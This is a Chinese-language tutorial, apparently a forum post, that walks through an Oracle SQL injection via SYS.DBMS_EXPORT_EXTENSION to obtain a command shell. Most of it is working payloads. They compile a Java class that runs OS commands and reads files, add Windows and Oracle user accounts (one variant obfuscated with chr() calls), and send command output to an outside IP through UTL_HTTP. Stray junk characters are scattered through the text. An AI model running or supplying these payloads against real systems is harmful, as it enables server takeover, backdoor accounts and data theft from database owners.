实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
6 Z! a9 Z+ Q" ?& z的形式即可。(用" 'a'|| "是为了让语句返回true值)
) {. d: C* I2 h5 I0 w' l语句有点长，可能要用post提交。
以下是各个步骤：
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7 ?( w  {: y/ B, p通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
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( b7 @1 I5 Y. P3 E0 ~如果url有长度限制，可以把readFile()函数块去掉，即：
$ z! X5 m; {* `) o' `/xxx.jsp?id=1 and '1'<>'a'||(
3 L: W% C" \$ p0 [# r4 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
/ b' c. i- ~2 _/ \new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
6 i9 p6 e' q# P}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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" ?" U5 J) x+ J5 }, B2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
9 P6 f+ c  n+ l4.赋public执行函数的权限
1 O' h. X% U9 J, ~& tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
  S# S# P1 s" Q3 t2 f: @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
9 `& a5 B* R5 p( X) F4 y( f) Qand '1'<>'11'||(
# r% ~& P& n( f7 A0 gselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
" d4 H5 g/ E5 R4 P) |' \5 yselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
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% d* P' d3 k8 m  V5 R/ ?6 D- T6.执行命令：
/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

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/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
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  l# r5 ?, A* t3 G1 n3 Q( `注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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7 s! l& @0 a! \+ Z2 C4 e# D注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
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1 T  _0 ?1 J$ S6 z6.内部变化
! }7 H. [. ~% a通过以下命令可以查看all_objects表达改变：
7 k9 a& `$ C+ f) }( d! s4 fselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
" L; D  l6 Z, r7 v8 F7.删除我们创建的函数
  b! \. ~5 s/ \/ N4 @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
====================================================
全文结束。谨以此文赠与我的朋友。
2 C! F& ?9 [1 ?; elinx
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9 m' y) n4 |8 c$ k; }0 jlinyujian@bjfu.edu.cn
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测试漏洞的另一方法：
创建oracle帐号：
3 s1 J5 ^! k. e  Y# nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% _- M- I& S1 u, H; Y5 t' bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
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select user_id from all_users where username='LINXSQL'
)
给linxsql连接权限：
0 t9 s( L$ \- I- R$ Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 l4 q4 ~' }  P" l8 V+ F7 hGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- W9 ~; U5 A5 |drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
======================
0 K  R' c6 Y. {! u2 @( R以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
8 g) O; D$ C% [4 H- Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
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